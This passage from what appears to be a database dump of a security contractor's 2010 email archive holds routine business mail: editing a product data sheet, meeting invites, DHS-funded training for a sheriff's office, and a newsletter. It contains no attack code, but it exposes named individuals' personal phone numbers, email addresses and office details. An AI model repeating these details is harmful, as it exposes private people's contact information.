<aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Data sheet','\r\n\r\n\r\n\r\n\r\nRE: Data sheet\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\nHow is this?&nbsp; Feel free to change&#8230; Stacey will also provide Fidelis XPS art and a short about paragraph for the blue area.\r\n\r\nDavid\r\n\r\nThe Fidelis Extrusion Prevention System&reg;, Fidelis XPS&#8482;, provides network discovery, session reconstruction and traffic analysis providing visibility and control to mitigate threats, protect content, control application activity, and enforce encryption policy.\r\n\r\n\r\n\r\nA standard engagement involves initial query of our databases for compromised hosts within a customer&#8217;s netblock (allocated IP address ranges.)&nbsp; The results are loaded into both HB Gary Active Defense and Fidelis XPS for immediate targeted triage once onsite.&nbsp; Fidelis XPS passes alerts to the Active Defense server for targeted host analysis based on suspicious activity, and Active Defense will update Fidelis XPS policy and rules based on results to provide additional situational awareness at the network perimeter.&nbsp; Additionally, update queries against the compromise hosts databases are made to supplement the real time result.&nbsp; All knowledge is brought into the Palantir Analysis Framework to quickly identify the threats targeting the organization, enabling timely targeted remediation.&nbsp; \r\n\r\n\r\n\r\nThis technology, pair with HB Gary&#8217;s robust techniques and procedures enables fast time to remediation of assets across the organization, allowing the organization to be back to full support of its mission in the most expedient manner.&nbsp; \r\n\r\nOther thoughts:\r\n\r\nIn the first paragraph, you say &#8220;Fortune 500 companies&#8221; &#8211; I typically just say organizations because it covers commercial and gov&#8217;t\r\n\r\nChange caption to Fidelis XPS Information Flow Map&#8482;\r\n\r\nStacey will provide Fidelis XPS art and a short about paragraph for the blue area\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wednesday, June 09, 2010 5:25 PM\r\nTo: Etue, David\r\nSubject: Re: Data sheet\r\n\r\nYes that is exactly what I am looking for, figured you could write it better than me.&nbsp; And please comment on the rest of it as well.&nbsp; Really the first one of these I have written so I want it to have as much impact as possible.&nbsp; Also when I see you on Friday I would like to get a stack of relevant datasheets for the fidelis appliance as well.\r\n\r\nThanks.\r\n\r\nI am open on place to meet for a drink.&nbsp; Suggestions are J. Gilberts in Mclean reverse commute going back, or O\'sullivans in Arlington...also open to other suggestions.\r\n\r\nOn Jun 9, 2010, at 5:13 PM, Etue, David wrote:\r\n\r\n&gt; Working on the data sheet tonight - have it printed out, but haven\'t\r\n\r\n&gt; been sitting down to look at it :(&nbsp;&nbsp; I believe Stacey is working on it\r\n\r\n&gt; too.&nbsp; Have a internal call in 10 minutes to make sure everyone in\r\n\r\n&gt; Fidelis is doing the right stuff to support you guys.&nbsp; \r\n\r\n&gt; \r\n\r\n&gt; I\'m going to rewrite the top left paragraph on the back page if that is\r\n\r\n&gt; ok.&nbsp; Stacey will get you updated product pictures and logos.\r\n\r\n&gt; \r\n\r\n&gt; David\r\n\r\n&gt; \r\n\r\n&gt; -----Original Message-----\r\n\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\n&gt; Sent: Wednesday, June 09, 2010 3:41 PM\r\n\r\n&gt; To: Etue, David\r\n\r\n&gt; Subject: Data sheet\r\n\r\n&gt; \r\n\r\n&gt; Hey Dave,\r\n\r\n&gt; \r\n\r\n&gt; Did you have much of a chance to look at the Data sheet?&nbsp; I&nbsp; going to\r\n\r\n&gt; finish it up today and tomorrow.&nbsp; Also trying to finish my NSA\r\n\r\n&gt; presentation for Tuesday.\r\n\r\n&gt; \r\n\r\n&gt; Aaron\r\n\r\n&gt; \r\n\r\n&gt; From my iPhone\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n',7109,'aaron_hbgary_com/7109.html'),(7258,'2010-06-10','\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>','/aaron@hbgary.com/new/1297005282.M861700P14101Q2113.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Technical Strategy','Aaron:\r\nI like this approach.\r\nWe need to get together in a room and kick this around.\r\nHas a session been scheduled?\r\n\r\nAL\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, June 09, 2010 10:20 PM\r\nTo: Clair, Chris (TASC); Pisani, Albert A. (TASC); Heider, Raymond A\r\n(TASC); Lovegrove, John (TASC)\r\nSubject: Technical Strategy\r\n\r\nAll,\r\n\r\nAfter our conversation today and thinking about a possible framework I\r\nsee a very powerful offering assuming we can get these partners.  The\r\nbelow team represents in my opinion a winning team.  Framework is\r\noverall PMO that coordinates trusted US partners to exercise commercial\r\nrelationships to execute requirements.  Some team mates are silent\r\npartners for consulting and lead relationships.\r\n\r\n',1864,'aaron_hbgary_com/1864.html'),(7259,'2010-06-10','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297005283.M744491P14101Q2115.eml','\"Newbern, David W (TASC)\" <DAVID.NEWBERN@tasc.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>,\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>,\"Aaron Barr\" <aaron@hbgary.com>,p.mckenney@cipher-sys.com','Cipher Capabilities Discussion','\r\n\r\n\r\n\r\n\r\nCipher Capabilities Discussion\r\n\r\n\r\n\r\n\r\nWhen: Friday, June 11, 2010 11:30 AM-12:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: WF3 Conf room 3B\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nMeet with Cipher to discuss additional capabilities.&nbsp; I&#8217;ll see what I can do about lunch.&nbsp; J\r\n\r\nPeter, we can pick you up in the lobby of the Heritage Conference Center.&nbsp; There you can get a visitors badge and John will pick you up.\r\n\r\n\r\n\r\nThanks,\r\n      Chris Clair\r\n__________________________________________________\r\n&nbsp; \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3644,'aaron_hbgary_com/3644.html'),(7260,'2010-06-10','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005283.M85778P14101Q2114.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','RE: HBGary Training','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThey will pay for the two day forensic class at the end of\r\nwhich, the attendees will receive Responder Field Edition.&nbsp; You can chose to have\r\n&#8220;another&#8221; class, the two day malware if people want to stay.&nbsp; We do NOT give\r\naway the Responder Pro but you might get takers.&nbsp;&nbsp; DHS will pay for all costs\r\nof reproduction of training materials (which Jim does and will send), you\r\ntravel time there and back, your time training the class 2 days) and room\r\nrental (although there won&#8217;t be in this case) etc.&nbsp; DHS also pays for the disks\r\nand materials (which Charles duplicates and sends out) , postage etc.\r\n\r\n&nbsp;\r\n\r\nIf you do a second class, that is NOT paid by DHS\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Wednesday, June 09, 2010 5:57 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: Barr Aaron\r\nSubject: Fwd: HBGary Training\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDHS pays for this, correct?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Eric\r\nAshworth&quot; &lt;EAshworth@garcosheriff.com&gt;\r\nDate: June 9, 2010 4:52:47 PM EDT\r\nTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;\r\nCc: &quot;Don Breier&quot; &lt;DBreier@garcosheriff.com&gt;\r\nSubject: RE: HBGary Training\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed:\r\n\r\n&nbsp;\r\n\r\nThanks\r\nfor the email, we are very interested in hosting your training.&nbsp; Would you\r\nbe able to send me some information on what training classes are available as\r\nwell as number of days, tuition, minimum number of students etc? \r\n\r\n&nbsp;\r\n\r\nAs\r\nfar as dates, I don&#8217;t have any as yet, do you have a list of dates that would\r\nwork for you maybe a couple months out?\r\n\r\n&nbsp;\r\n\r\nDetective Corporal Eric Ashworth\r\n\r\nGarfield County Sheriff&#8217;s Office\r\n\r\n107 8th Street\r\n\r\nGlenwood Springs, Colorado 81601\r\n\r\nEmail:&nbsp;\r\neashworth@garcosheriff.com\r\n\r\nOffice:\r\n970-945-1377 X1028\r\n\r\nCell: 970-309-1053\r\n\r\nCONFIDENTIALITY\r\nNOTICE: This communication and any enclosed document(s) are confidential and\r\nprivileged. If you receive this transmission in error, you are advised that any\r\ndisclosure, copying, distribution, or the taking of any action in reliance upon\r\nthe communication is strictly prohibited. Moreover, any such inadvertent\r\ndisclosure shall not compromise or waive the attorney-client privilege and/or\r\nthe attorney work-product privilege as to this communication or otherwise. If\r\nyou have received this communication in error, please contact Eric Ashworth, eashworth@garcosheriff.com at\r\n970.945-1377 XT 1028.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Tuesday, June 08, 2010 11:06 AM\r\nTo: Eric Ashworth\r\nSubject: HBGary Training\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi\r\nEric,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\nmentioned that you are interested in scheduling some HBGary training in\r\nColorado. &nbsp;Do you have a date/time/location in mind? &nbsp;How many\r\nstudents are interested?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nfeel free to contact me at 719-237-8623 to discuss.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n--\r\n\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16059,'aaron_hbgary_com/16059.html'),(7261,'2010-06-10','\"Harvey, Kevin\" <kevin.harvey@fidelissecurity.com>','/aaron@hbgary.com/new/1297005284.M288933P14101Q2117.eml','\"Etue, David\" <david.etue@fidelissecurity.com>,\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Fidelis Demo & Training Planning- GoToMeeting Invitation','\r\n\r\n\r\n\r\n\r\n Fidelis Demo &amp; Training Planning- GoToMeeting Invitation \r\n\r\n\r\n\r\n\r\nWhen: Friday, June 11, 2010 1:00 PM-3:00 PM (GMT-06:00) Central Time (US &amp; Canada).\r\n\r\nWhere: gotomeeting\r\n\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n1.&nbsp; Please join my meeting.\r\n\r\nhttps://www1.gotomeeting.com/join/310732601\r\n\r\n\r\n2.&nbsp; Use your microphone and speakers (VoIP) - a headset is recommended.&nbsp; Or, call in using your telephone.\r\n\r\n\r\nDial 712-338-7126\r\n\r\nAccess Code: 310-732-601\r\n\r\nAudio PIN: Shown after joining the meeting\r\n\r\n\r\nMeeting ID: 310-732-601\r\n\r\n\r\nGoToMeeting® \r\n\r\nOnline Meetings Made Easy&#8482;\r\n\r\n\r\n\r\n',1350,'aaron_hbgary_com/1350.html'),(7262,'2010-06-10','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297005284.M604134P14101Q2118.eml','aaron@hbgary.com','ExecutiveBiz\'s Annual Roundup: CTOs in Government and Industry - What\'s ahead','View in Browser\r\n Sign\r\n Up&nbsp;| Forward | Visit Our\r\n Blog | Jobs\r\n  | About\r\n Us GovconWire | ExecutiveGov | The New New Internet  |\r\n  GovCon Executive&nbsp;\r\n |\r\n  GovConExec\r\n MagazineBy Jim\r\n GarrettsonJune 10,\r\n 2010ExecutiveBiz\'s Annual Roundup: CTOs in Government and\r\n Industry &#8212; What\'s ahead\r\n &nbsp;Top Row (L-R): Susie Adams, John Bordwine, Nick\r\n Combs, Lee Holcomb&nbsp; Bottom Row (L-R): Stephen Huffman, Yogesh Khanna,\r\n Peter Levin, Ron Lewis, Dawn\r\n MeyerrieckWhat\'s ahead on the technology front for government\r\n and industry? The answer depends on who you\'re talking to. So when we set out to\r\n showcase our annual roundup of CTO perspectives, we went knocking on both sides of\r\n the aisle. From the ranks of some of the area\'s government contracting firms, to\r\n the halls of federal agencies, the CTOs highlighted below offer an in-depth look\r\n at the top technology challenges ahead &#8212; and developments in the works\r\n moving\r\n forward.&nbsp;Click Here to Read\r\n MoreGen Alexander: Cybersecurity is an Important Current and Future\r\n ChallengeThe Internet provides great opportunities and \"tremendous\r\n vulnerabilities,\" according to Gen. Keith Alexander, who spoke last week at an\r\n event in Washington,\r\n DC. Click Here to Read\r\n MoreNavigating OCI\r\n Lockheed Martin announced plans last week to sell most of its\r\n Enterprise Integration Group (EIG) and Pacific Architects and Engineers, Inc.\r\n (PAE) in order to stay ahead of government concerns about organizational conflicts\r\n of interest (OCI). Click Here to Read\r\n MoreGovernment Smartphone Policy: What You Need to\r\n KnowLast month, we brought you the top iPhone apps for government, but\r\n since they\'re mostly worthless if you can\'t use them on the job, we took a look at\r\n federal smartphone policy to determine when and where government workers can use\r\n their iPhones or BlackBerrys. Click Here to\r\n Read\r\n MoreBahman\r\n Atefi on Alion\'s $2 Billion Contract WinAlion Science has won the $2 billion Software, Networks, Information,\r\n Modeling and Simulation (SNIM) contract from the Department of Defense\r\n (DoD).&nbsp;&nbsp; Alion will focus on \"the need to improve access, sharing and\r\n security of information.\" Click Here to Read\r\n MoreSHARE THIS EMAIL:FacebookTwitterLinkedInDiggMySpaceExecutive Spotlight: Shawn O\'Brien of TASC\r\n Steve Hawkins: The Cyber Threat Needs to be Addressed in a Matter of\r\n Milliseconds or\r\n LessExecutive Spotlight: Dr. Stephen Huffman of Mitre\r\n Aaron\r\n Barr: Computer security is a \'hunt, an investigation, it\'s a\r\n challenge\r\n &nbsp;&nbsp;&nbsp;Harry Martin\r\n Discusses Intelligent Decisions\' BPA from General ServicesGTEC Inks $94M\r\n Deal with NavyDLT, BAE,\r\n Harris Win Air Force DealsGeneral\r\n Dynamics, Booz Allen, L-3 Sign Navy ContractsBahman\r\n Atefi on Alion\'s $2 Billion Contract WinRaytheon to\r\n Modify AF\'s JET ProgramLockheed\r\n Martin, Northrop Grumman Win Air Force ContractsJim Traficant\r\n Talks Harris VA DealNGC, L-3 Win\r\n Air Force DealsSAIC Pens NSWC\r\n ContractThomas Vice\r\n Becomes NGC\'s Technical Services LeadWood Parker on\r\n New TASC CFO Wayne RehbergerA-T\'s Dennis\r\n Kelly on New EVP David PekoskeLinda Hudson on\r\n New BAE Information Solutions Lead John GannonTechTeam\r\n Government Acquired by Jacobs; Davd Kriegman SpeaksClick Here for\r\n More GovConwireHackers Look to\r\n Help Disaster Relief EffortsAustralians\r\n Look to Block Off Zombie ComputersPanel to\r\n Recommend Cyber CertificationBotnet Takedown\r\n Leaves Hackers on the Prowl for Legitimate WorkFBI Cyber Head:\r\n Smartphones are a Source of VulnerabilitySenate Staffer:\r\n Hill Sees Cyber as PriorityGSA and DHS\r\n Approve AT&T as Cyber Provider for GovernmentDHS Official:\r\n DHS May Merge Cyber and Infrastructure Protection Click Here for\r\n More from The New New Internet Catherine\r\n Kuenzel of Northrop Grumman: Mentoring Gives \'Best of Both Worlds\'Austin Yamada\r\n of QinetiQ North America: \'Maintaining your personal integrity is critical to\r\n success\' Oops! Top 5\r\n Mishaps Executives Should Avoid SAIC, DynCorp\r\n Announce Financial Results Alion\'s Bahman\r\n Atefi and Richard Brown Discuss Major Contract\r\n WinClick Here for\r\n More from GovCon Executive\r\n Gates Meets\r\n With Japan and South Korea Defense Officials To Continue Ongoing\r\n CooperationMullen Pays\r\n Tribute to Veterans at D-Day MemorialArmy Gen.\r\n Odierno Raises Internet ConcernsHHS Awards\r\n $83.9M to Assist in Adoption of EHRsGates Calls\r\n Clapper the Right Pick for DNI NominationJames Clapper\r\n to be Tapped as New Director of National IntelligenceDHS Evaluates\r\n Organizational StructureGeneral Charles\r\n C. \"Hondo\" Campbell Retires, Shares OutlookONC Establishes\r\n New SubcommitteeDory Explains\r\n What The New National Strategy Means For The U.S.General Keith\r\n Alexander Speaks on Cybersecurity LandscapeDoD Holds\r\n Environmental Stewardship AwardsFCC Asks: Do\r\n You Know Your Broadband Speed?Click Here for\r\n More from ExecutiveGov&nbsp;&nbsp;SHARE THIS EMAIL:FacebookTwitterLinkedInDiggMySpaceThe FCCC Annual Chairman\'s Luncheon\r\n - Bruce Allen, Executive\r\nVice President/General Manager of the Washington Redskins, as keynote\r\n speaker.&nbsp;What: The\r\nFairfax County Chamber of Commerce will welcome Bruce Allen, Executive\r\nVice President/General Manager of the Washington Redskins, as the\r\nkeynote speaker at the organization\'s Annual Chairman\'s Luncheon. In\r\naddition to Allen, the day\'s program will include the recognition of\r\ncommunity and business leaders and area organizations for their service\r\nto the Chamber and Fairfax County over the past year.&nbsp;\r\n When:Tuesday, June 15 11:30 to 2:00pmWhere: Westfields Marriott, Washington\r\n DullesFor more information contact Lisa Huffman at lhuffman@fairfaxchamber.org\r\n or 703-752-7528&nbsp; Click Here to\r\n RegisterErnst & Young Entrepreneur\r\n Of The Year 2010 Greater Washington Awards\r\n Gala.The\r\nErnst & Young Entrepreneur Of The Year 2010 finalists have a lot to\r\ncelebrate. They\'ve built their dream companies. Expanded. Innovated.\r\nIt\'s time to recognize their achievements. Join us at this\r\n year\'s event\r\nand see who will take home top honors.Shine your shoes. Raise your glass. Get\r\n inspired.When:Thursday, June 24, 2010&nbsp; 6:00 - 9:30\r\n p.m.Where: Ritz-Carlton, Tysons Corner,\r\n VAFor more\r\n information Click\r\n Here&nbsp; or call +1 703 747 0858920\r\n AEC\r\n &#8211; Geo e-procurement portalIn the fast-paced AEC-Geo\r\n world, we understand that you need fast and flexible purchasing of your technology\r\n solutions.&nbsp; That\'s why we created a new e-procurement portal from DLT\r\n Solutions: www.dlt.com/aec-geo-proc&nbsp;From\r\n mapping and CAD, to imagery and globes, all can be purchased at a press of a\r\n button for all your government projects. The portal features special\r\n pricing around Autodesk\'s Master Government Reseller software solutions including\r\n AutoCAD, Map 3D, Civil 3D plus many more. Google Earth and GeoEye Imagery\r\n solutions are available too.Prefer to speak to a representative\r\n directly? DLT has a team of experienced representatives to help. With over 19\r\n years of working closely with federal, state and local governments, we can help\r\n you make the best purchasing decisions.&nbsp;For Autodesk products,\r\n call 888.447.2223 or send a message to ag@dlt.com&nbsp;For Geospatial\r\n products, call 877.385.3581 or send a message to gds@dlt.com.\r\n Executive Spotlight: Shawn O\'Brien of TASC\r\n Shawn\r\n O\'Brien, corporate business development at TASC, spoke with ExecutiveBiz about the\r\n challenges present in the business development as well as his goals for the\r\n firm. Click Here to Read\r\n MoreSteve\r\n Hawkins: The Cyber Threat Needs to be Addressed in a Matter of Milliseconds or\r\n Less\r\n Steve Hawkins currently serves as vice president of\r\n Information Security Solutions at Raytheon, a position he took after spending his\r\n career at the company covering areas ranging from airborne radar systems and\r\n signals intelligence to commercial imagery and his current field of cybersecurity.\r\n Here, he talks about challenges in the cyber realm, the dangers of Advanced\r\n Persistent Threats, and some of the innovations Raytheon is working on to secure\r\n systems and networks.Click Here to Read\r\n MoreExecutive Spotlight: Dr. Stephen Huffman of Mitre\r\n MITRE CTO Dr. Stephen Huffman has built\r\n an impressive career at the corporation over the last two decades.&nbsp; He spoke\r\n with ExecutiveBiz about his and MITRE\'s road to the present and what he wants to\r\n see from the firm in the coming months. Click Here to Read\r\n MoreAaron\r\n Barr: Computer security is a \'hunt, an investigation, it\'s a\r\n challengeGovCon Executive had the chance to speak\r\n with Robert Jones, Jr. of HPTi. Jones serves as the senior vice president as well\r\n as a member of the board of directors of HPTi.&nbsp; At his post, he is\r\n responsible for HPTi\'s corporate development, corporate strategy, human capital,\r\n and customer satisfaction.&nbsp; Jones offered us his thoughts on trends in\r\n corporate development, his goals for the firm and shared a little about his\r\n favorite hobbies.&nbsp; Click Here to Read\r\n More&nbsp; \r\n A Letter from the\r\n EditorThrough our weekly emagazine and daily blog,\r\nExecutiveBiz offers our readership an insider\'s view of news and trends\r\nshaping small, medium, and large companies within industries such as\r\ndefense, technology, and health care.&nbsp; In addition to our daily blog,\r\nwe\'ve launched four new media properties, GovConWire,\r\n GovConExecutive,\r\n ExecutiveGov,\r\n and TheNewNewInternet.\r\nEach\r\n week, we deliver in-depth profiles of industry leaders, candid\r\nQ&As, plus the latest news and trends, and value-add information to\r\nhelp you do your job better.&nbsp; You\'re a big part of the equation both\r\nonline and off &#8212; which is why we want to hear from you. Have a story\r\ntip? Or an idea for a speaking event? Feel free to contact me direct.\r\nYou can also follow us on Twitter, Facebook,\r\n and LinkedIn.J.D. KathuriaEditor-in-chief\r\n ExecutiveBizo: 703-226-7010&nbsp; &nbsp;jd@executivebiz.com&nbsp;&nbsp; ExecutiveBiz, 8230 Old Courthouse RoadVienna, VA\r\n 22181Update PreferencesList\r\n Unsubscribe\r\n',14737,'aaron_hbgary_com/14737.html'),(7263,'2010-06-10','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297005284.M6772P14101Q2116.eml','\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>,\"Newbern, David W (TASC)\" <DAVID.NEWBERN@tasc.com>,\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>','COIN function model','\r\n\r\n\r\n\r\n\r\nCOIN function model\r\n\r\n\r\n\r\n\r\nWhen: Friday, June 11, 2010 10:00 AM-10:30 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: WF3 Conference room 3C\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nDiscuss Aaron&#8217;s view of a functional management model for COIN.\r\n\r\n\r\n\r\nThanks,\r\n      Chris Clair\r\n__________________________________________________\r\n&nbsp; \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',570,'aaron_hbgary_com/570.html'),(7264,'2010-06-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005284.M830616P14101Q2119.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: DHS Monies','Begin forwarded message:From: &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nDate: June 10, 2010 12:04:10 PM EDTTo: &quot;&#39;Ted Vera&#39;&quot; &lt;ted@hbgary.com&gt;Subject: DHS Monies\r\n\r\n\r\n\r\n\r\nWe have run out of money on the DHS contract.  So you can\r\ncharge for training in Western Colorado.  We can figure out something to\r\ninclude Field Edition.  \r\n\r\n \r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on the taxpayer.  (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n \r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for   delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7325,'aaron_hbgary_com/7325.html'),(7265,'2010-06-10','\"Paul Nemirovsky\" <pauln@jdn-int.com>','/aaron@hbgary.com/new/1297005285.M330866P14101Q2121.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting','Aaron,\r\n&nbsp;\r\n&nbsp;\r\nWe could meet at 11:15 am at this restaurant Monday.&nbsp;&nbsp;&nbsp; Please let me know if it works for you.\r\n&nbsp;\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\n&nbsp;\r\nPaul\r\n&nbsp;\r\n--- On Wed, 6/9/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: MeetingTo: pauln@jdn-int.comDate: Wednesday, June 9, 2010, 5:38 PM\r\nHow about: \r\n\r\n\r\n\r\nGunning\'s&nbsp;Seafood&nbsp;Restaurant?\r\n&nbsp;64 reviews&nbsp;-&nbsp;more info&nbsp;» \r\n\r\n\r\n\r\n\r\n\r\n7304 Parkway Dr\r\nHanover, Maryland 21076\r\n(410) 712-9404get=_blank rel=nofollow&gt;gunningsonline.com?\r\n\r\n\r\n\r\n\r\n\r\nI had lunch about 4 weeks ago with Tom Conroy, very good Crab Cakes. &nbsp;Is 11am ok?\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Jun 9, 2010, at 4:23 PM, Paul Nemirovsky wrote:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\nAaron,\r\n&nbsp;\r\nWe could meet anywhere it works for you.&nbsp; I do not know this area well.&nbsp; There is Hellas Restaurant in Millersville, if you like it.\r\n&nbsp;\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\n&nbsp;\r\nPaul\r\n___________________________________________________________\r\n&nbsp;--- On Tue, 6/8/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: MeetingTo: \"pauln@jdn-int.com\" &lt;pauln@jdn-int.com&gt;Date: Tuesday, June 8, 2010, 5:08 PM\r\n\r\nPaul,\r\n\r\nThat sounds good. &nbsp;I have a 1pm in Columbia at the saic bldg. &nbsp;Do u know a good place?\r\n\r\nAaronFrom my iPhone\r\nOn Jun 8, 2010, at 4:53 PM, Paul Nemirovsky &lt;pauln@jdn-int.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n&nbsp;\r\n&nbsp;\r\nThank you for the note.&nbsp; Monday, 6/14 is fine.&nbsp; Would you like to get together for lunch in the area?\r\n&nbsp;\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\n&nbsp;\r\nPaul&nbsp; (703-622-6115 (m))--- On Tue, 6/8/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: MeetingTo: \"Dr. Paul Nemirovsky\" &lt;pauln@jdn-int.com&gt;Date: Tuesday, June 8, 2010, 4:44 PM\r\n\r\n\r\n\r\n\r\n\r\nLinkedIn\r\nAaron Barr has sent you a message. \r\nDate: 6/08/2010 \r\nSubject: Meeting \r\nHi Paul, Do you have some time to meet on Monday? I have another meeting in the early afternoon in your area. Aaron \r\nView/reply to this message \r\nDon\'t want to receive e-mail notifications? Adjust your message settings. \r\n© 2010, LinkedIn Corporation\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.',16882,'aaron_hbgary_com/16882.html'),(7266,'2010-06-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005285.M42382P14101Q2120.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: DHS Monies','Ok, I haven&#39;t told Eric about DHS yet, so I&#39;ll find out his requirements and get with with you on pricing. TedOn Jun 10, 2010, at 12:04 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nWe have run out of money on the DHS contract.  So you can\r\ncharge for training in Western Colorado.  We can figure out something to\r\ninclude Field Edition.  \r\n\r\n \r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on the taxpayer.  (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n \r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for   delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16711,'aaron_hbgary_com/16711.html'),(7267,'2010-06-10','\"Penny Leavy-Hoglund\" 